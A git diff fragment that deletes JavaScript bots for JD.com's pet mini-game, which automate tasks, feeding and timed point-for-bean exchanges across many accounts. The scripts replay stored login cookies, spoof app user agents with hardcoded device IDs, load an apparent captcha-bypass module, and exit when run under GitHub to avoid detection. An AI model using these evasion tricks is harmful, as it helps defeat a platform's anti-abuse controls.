(require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, (err, resp, data) => { - resolve(JSON.parse(data)) - }) - }) -} - -function taskList() { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - 'origin': 'https://h5.m.jd.com', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'referer': 'https://h5.m.jd.com/', - 'accept-language': 'zh-cn', - 'cookie': cookie - } - }, (err, resp, data) => { - try { - if (err) - console.log(err) - data = JSON.parse(data) - resolve(data); - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }) - }) -} - -function beforeTask(fn, shopId) { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/common/pet/icon/click?iconCode=${fn}&linkAddr=${shopId}&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Content-Type': 'application/json', - 'Origin': 'https://h5.m.jd.com', - 'Accept-Language': 'zh-cn', - 'Host': 'jdjoy.jd.com', - 'User-Agent': 'jdapp;iPhone;10.0.6;12.4.1;fc13275e23b2613e6aae772533ca6f349d2e0a86;network/wifi;ADID/C51FD279-5C69-4F94-B1C5-890BC8EB501F;model/iPhone11,6;addressid/589374288;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', - 'cookie': cookie - } - }, (err, resp, data) => { - console.log('before task:', data); - resolve(); - }) - }) -} - -function followShop(shopId) { - return new Promise(resolve => { - $.post({ - url: `https://jdjoy.jd.com/common/pet/followShop?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'User-Agent': 'jdapp;iPhone;10.0.6;12.4.1;fc13275e23b2613e6aae772533ca6f349d2e0a86;network/wifi;ADID/C51FD279-5C69-4F94-B1C5-890BC8EB501F;model/iPhone11,6;addressid/589374288;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Accept-Language': 'zh-cn', - 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html?babelChannel=ttt12&lng=0.000000&lat=0.000000&sid=87e644ae51ba60e68519b73d1518893w&un_area=12_904_3373_62101', - 'Host': 'jdjoy.jd.com', - 'Origin': 'https://h5.m.jd.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'cookie': cookie - }, - body: `shopId=${shopId}` - }, (err, resp, data) => { - console.log(data) - resolve(); - }) - }) -} - -function doTask(body, fnId = 'scan') { - return new Promise(resolve => { - $.post({ - url: `https://jdjoy.jd.com/common/pet/${fnId}?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': fnId === 'followGood' || fnId === 'followShop' ? 'application/x-www-form-urlencoded' : 'application/json', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - 'referer': 'https://h5.m.jd.com/', - 'Content-Type': fnId === 'followGood' ? 'application/x-www-form-urlencoded' : 'application/json; charset=UTF-8', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'cookie': cookie - }, - body: body - }, (err, resp, data) => { - if (err) - console.log('\tdoTask() Error:', err) - try { - console.log('\tdotask:', data) - data = JSON.parse(data); - data.success ? console.log('\t任务成功') : console.log('\t任务失败', JSON.stringify(data)) - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }) - }) -} - -function feed() { - feedNum = process.env.feedNum ? process.env.feedNum : 80 - return new Promise(resolve => { - $.post({ - url: `https://jdjoy.jd.com/common/pet/enterRoom/h5?invitePin=&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'referer': 'https://h5.m.jd.com/', - 'Content-Type': 'application/json; charset=UTF-8', - 'cookie': cookie - }, - body: JSON.stringify({}) - }, (err, resp, data) => { - data = JSON.parse(data) - if (new Date().getTime() - new Date(data.data.lastFeedTime) < 10800000) { - console.log('喂食间隔不够。') - resolve(); - } else { - console.log('开始喂食......') - $.get({ - url: `https://jdjoy.jd.com/common/pet/feed?feedCount=${feedNum}&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'referer': 'https://h5.m.jd.com/', - 'cookie': cookie - }, - }, (err, resp, data) => { - try { - // console.log('喂食', data) - data = JSON.parse(data); - data.errorCode === 'feed_ok' ? console.log(`\t喂食成功!`) : console.log('\t喂食失败', JSON.stringify(data)) - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }) - } - }) - }) -} - -function award(taskType) { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/common/pet/getFood?reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE&taskType=${taskType}`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'referer': 'https://h5.m.jd.com/', - 'Content-Type': 'application/json; charset=UTF-8', - 'cookie': cookie - }, - }, (err, resp, data) => { - try { - console.log('领取奖励', data) - data = JSON.parse(data); - data.errorCode === 'received' ? console.log(`\t任务成功!获得${data.data}狗粮`) : console.log('\t任务失败', JSON.stringify(data)) - } catch (e) { - $.logErr(e); - } finally { - resolve(); - } - }) - }) -} - -function run(fn = 'match') { - let level = process.env.JD_JOY_teamLevel ? process.env.JD_JOY_teamLevel : 2 - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/common/pet/combat/${fn}?teamLevel=${level}&reqSource=h5&invokeKey=NRp8OPxZMFXmGkaE`, - headers: { - 'Host': 'jdjoy.jd.com', - 'sec-fetch-mode': 'cors', - 'origin': 'https://h5.m.jd.com', - 'content-type': 'application/json', - 'accept': '*/*', - 'x-requested-with': 'com.jingdong.app.mall', - 'sec-fetch-site': 'same-site', - 'referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', - 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (fn === 'receive') { - console.log('领取赛跑奖励:', data) - } else { - data = JSON.parse(data); - let race = data.data.petRaceResult - if (race === 'participate') { - console.log('匹配成功!') - } else if (race === 'unbegin') { - console.log('还未开始!') - } else if (race === 'matching') { - console.log('正在匹配!') - await $.wait(2000) - await run() - } else if (race === 'unreceive') { - console.log('开始领奖') - await run('receive') - } else if (race === 'time_over') { - console.log('不在比赛时间') - } else { - console.log('这是什么!', data) - } - } - } catch (e) { - console.log(e) - } finally { - resolve(); - } - }) - }) -} - -function requireConfig() { - return new Promise(resolve => { - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function TotalBean() { - return new Promise(resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function writeFile(text) { - if ($.isNode()) { - fs.writeFile('a.json', text, () => { - }) - } -} - -// prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s { - constructor(t) { - this.env = t - } - - send(t, e = "GET") { - t = "string" == typeof t ? {url: t} : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t) { - return this.send.call(this.env, t) - } - - post(t) { - return this.send.call(this.env, t, "POST") - } - } - - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode() { - return "undefined" != typeof module && !!module.exports - } - - isQuanX() { - return "undefined" != typeof $task - } - - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - - isLoon() { - return "undefined" != typeof $loon - } - - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch { - } - return s - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - - getScript(t) { - return new Promise(e => { - this.get({url: t}, (t, s, i) => e(i)) - }) - } - - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: {script_text: t, mock_type: "cron", timeout: r}, - headers: {"X-Key": o, Accept: "*/*"} - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => { - })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => { - })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t)); else if (this.isNode()) { - this.initGotEnv(t); - const {url: s, ...i} = t; - this.got.post(s, i).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return {openUrl: e, mediaUrl: s} - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return {"open-url": e, "media-url": s} - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return {url: e} - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}) { - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} diff --git a/backUp/jd_joy_reward_Mod.js b/backUp/jd_joy_reward_Mod.js deleted file mode 100644 index 06e572f..0000000 --- a/backUp/jd_joy_reward_Mod.js +++ /dev/null @@ -1,1140 +0,0 @@ -/* -cron "58 7,15,23 * * *" jd_joy_reward_Mod.js - */ -//Mod by ccwav -// prettier-ignore -const $ = new Env('宠汪汪积分兑换有就换版'); -const zooFaker = require('./utils/JDJRValidator_Pure'); -// $.get = zooFaker.injectToRequest2($.get.bind($)); -// $.post = zooFaker.injectToRequest2($.post.bind($)); -let allMessage = ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let jdNotify = false; //是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) -let Today = new Date(); -let strDisable20 = "false"; -if ($.isNode() && process.env.JOY_GET20WHEN16) { - strDisable20 = process.env.JOY_GET20WHEN16; - if (strDisable20 != "false") { - console.log("检测到16点时段才抢20京豆"); - } -} - -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') - console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://jdjoy.jd.com'; -Date.prototype.Format = function (fmt) { //author: meizz - var o = { - "M+": this.getMonth() + 1, //月份 - "d+": this.getDate(), //日 - "h+": this.getHours(), //小时 - "m+": this.getMinutes(), //分 - "s+": this.getSeconds(), //秒 - "S": this.getMilliseconds() //毫秒 - }; - if (/(y+)/.test(fmt)) - fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); - for (var k in o) - if (new RegExp("(" + k + ")").test(fmt)) - fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); - return fmt; -} -!(async() => { - if (!cookiesArr[0]) { - $.msg('【京东账号一】宠汪汪积分兑换奖品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = '' || $.UserName; - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - // console.log(`本地时间与京东服务器时间差(毫秒):${await get_diff_time()}`); - $.validate = ''; - $.validate = await zooFaker.injectToRequest(); - console.log(`脚本开始请求时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); - await joyReward(); - } - } - if ($.isNode() && allMessage && $.ctrTemp) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() -.catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}) -.finally(() => { - $.done(); -}) - -async function joyReward() { - try { - let starttime = process.env.JOY_STARTTIME ? process.env.JOY_STARTTIME : 60; - let nowtime = new Date().getSeconds(); - let sleeptime = 0; - - if (new Date().getMinutes() == 58) { - sleeptime = (60 - nowtime) * 1000; - console.log(`请等待时间到达59分` + `等待时间 ${sleeptime / 1000}`); - await $.wait(sleeptime); - } - - if (new Date().getMinutes() == 59) { - console.log(`脚本现在时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); - nowtime = new Date().getSeconds(); - if (nowtime < 59) { - nowtime = new Date().getSeconds() + 1; - sleeptime = (starttime - nowtime) * 1000; - console.log(`等待时间 ${sleeptime / 1000}`); - await $.wait(sleeptime); - } - } - var llSuccess = false; - for (let j = 0; j <= 9; j++) { - console.log(`\n正在尝试第` + (j + 1) + `次执行:${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")} \n`); - - if (llSuccess) { - console.log(`兑换成功,跳出\n`); - break; - } - await getExchangeRewards(); - if ($.getExchangeRewardsRes && $.getExchangeRewardsRes.success) { - // console.log('success', $.getExchangeRewardsRes); - const data = $.getExchangeRewardsRes.data; - // const levelSaleInfos = data.levelSaleInfos; - // const giftSaleInfos = levelSaleInfos.giftSaleInfos; - // console.log(`当前积分 ${data.coin}\n`); - // console.log(`宠物等级 ${data.level}\n`); - let saleInfoId = '', - giftValue = '', - extInfo = '', - leftStock = 0, - salePrice = 0; - let rewardNum = ""; - - let giftSaleInfos = 'beanConfigs0'; - let time = new Date($.getExchangeRewardsRes['currentTime']).getHours(); - if (time >= 0 && time < 8) { - giftSaleInfos = 'beanConfigs0'; - if (new Date().getMinutes() == 59) { - giftSaleInfos = 'beanConfigs8'; - } - - } - if (time >= 8 && time < 16) { - giftSaleInfos = 'beanConfigs8'; - if (new Date().getMinutes() == 59) { - giftSaleInfos = 'beanConfigs16'; - } - - } - if (time >= 16 && time < 24) { - giftSaleInfos = 'beanConfigs16'; - if (new Date().getMinutes() == 59) { - giftSaleInfos = 'beanConfigs0'; - } - } - - if (giftSaleInfos == 'beanConfigs16' && strDisable20 != "false") { - console.log("现在是16点时段,执行抢20京豆"); - strDisable20 = "false"; - } - console.log(`debug场次:${giftSaleInfos}\n`) - for (let item of data[giftSaleInfos]) { - if (item.giftType === 'jd_bean') { - saleInfoId = item.id; - leftStock = item.leftStock; - salePrice = item.salePrice; - giftValue = item.giftValue; - rewardNum = giftValue; - if (salePrice && rewardNum == 500) { - if (leftStock) { - console.log(`${item['giftName']}当前库存:${item['leftStock']},id:${item.id}`) - if (!saleInfoId) - continue; - // console.log(`当前账户积分:${data.coin}\n当前京豆库存:${leftStock}\n满足兑换条件,开始为您兑换京豆\n`); - console.log(`\n您设置的兑换${giftValue}京豆库存充足,开始为您兑换${giftValue}京豆\n`); - console.log(`脚本开始兑换${rewardNum}京豆时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); - await exchange(saleInfoId, 'pet'); - console.log(`请求兑换API后时间 ${(new Date()).Format("yyyy-MM-dd hh:mm:ss | S")}`); - if ($.exchangeRes && $.exchangeRes.success) { - if ($.exchangeRes.errorCode === 'buy_success') { - // console.log(`兑换${giftValue}成功,【宠物等级】${data.level}\n【消耗积分】${salePrice}个\n【剩余积分】${data.coin - salePrice}个\n`) - console.log(`\n兑换${giftValue}成功,【消耗积分】${salePrice}个\n`) - llSuccess = true; - if ($.isNode() && process.env.JD_JOY_REWARD_NOTIFY) { - $.ctrTemp = `${process.env.JD_JOY_REWARD_NOTIFY}` === 'false'; - } else if ($.getdata('jdJoyRewardNotify')) { - $.ctrTemp = $.getdata('jdJoyRewardNotify') === 'false'; - } else { - $.ctrTemp = `${jdNotify}` === 'false'; - } - if ($.ctrTemp) { - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}`); - if ($.isNode()) { - allMessage += `【京东账号${$.index}】 ${$.nickName}\n【${giftValue}京豆】兑换成功🎉\n【积分详情】消耗积分 ${salePrice}${$.index !== cookiesArr.length ? 